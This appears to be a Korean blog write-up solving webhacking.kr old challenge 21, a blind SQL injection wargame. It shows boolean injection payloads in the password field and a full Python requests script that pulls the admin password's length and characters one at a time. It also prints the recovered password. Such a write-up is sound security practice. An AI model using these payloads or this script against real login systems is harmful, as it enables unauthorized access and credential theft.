일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- window
- jQuery
- sql injection
- 포인터
- 조건문
- element 조회
- blind sql injection
- python
- 파이썬
- github
- lord of sql injection
- 함수
- 자바스크립트
- 배열
- 백준 알고리즘
- 사칙연산
- burp suite
- property
- suninatas 풀이
- document
- 백준 파이썬
- object
- 메소드
- IF문
- 객체
- xss game
- 김성엽 대표님
- htmlspecialchars
- Pwndbg
- xss game 풀이
Archives
- Today
- Total
power-girl0-0
[webhacking.kr - old] 21번 본문
728x90
주소 : https://webhacking.kr/old.php
[ 풀이 ]
친절하게 blind sql injection문제라고 출력되어있다.
임의의 값으로, admin/admin을 입력한 결과 login fail이라는 결과가 출력되었다.
guest/guest를 한결과는 아래와 같이 login success문구를 출력한 것을 볼 수 있다.
만약 guest아이디의 비밀번호를 틀렸을시, 틀렸다고 출력되는지 확인해보자.
id : guest / pw: 0' or '1'='1 |
그 결과, 비밀번호가 틀렸다고 출력된다.
그렇다면, admin이라는 id가 존재하는지 확인해보자.
id : admin / pw: 0' or '1'='1 |
비밀번호가 틀렸다고 출력되는 것을 보아, admin이라는 id가 존재하는 것을 알 수 있다.
id가 존재하는 것을 확인하였으니, 만약 pw에 false값을 전송했을시 결과물을 확인해보자.
id: admin / pw: 0' or '1'='2 |
login fail값을 리턴한다. 즉, 정리하면 wrong password는 ture를 의미하고 login fail은 false를 의미한다.
소스코드를 만들어서, admin의 pw를 알아보자.
import requests stop=0 pw_len=0 pwd='' url = "https://webhacking.kr/challenge/bonus-1/index.php?" c = {"cookie":"'PHPSESSID'='자신의 세션'"} # 비밀번호 글자수 for i in range(1,50): param = url+"id=admin' and length(pw) like {}%23&pw=1".format(i) res = requests.get(param, cookies=c) if res.text.find("wrong password")!=-1: pw_len=i print("pw len : {}".format(pw_len)) break # 비밀번호 for i in range(1,pw_len+1): if stop == 1: break for j in range(33,133): param = url+"id=admin' and ord(substr(pw,{},1)) like {}%23&pw=1".format(i,j) res = requests.get(param, cookies=c) if res.text.find("wrong password")!=-1: pwd+=chr(j) break if j == 132 : stop = 1 break print("pw : {}".format(pwd))
위에서 구한 결과값을 바탕으로, 로그인하였더니 문제가 풀렸다.
id : admin / pw : there_is_no_rest_for_the_white_angel |
728x90
'War game > webhacking.kr' 카테고리의 다른 글
[webhacking.kr - old] 23번 (0) | 2021.06.27 |
---|---|
[webhacking.kr - old] 22번 (0) | 2021.06.27 |
[webhacking.kr - old] 20번 (0) | 2021.06.25 |
[webhacking.kr - old] 19번 (0) | 2021.06.25 |
[webhacking.kr - old] 18번 (0) | 2021.06.24 |
Comments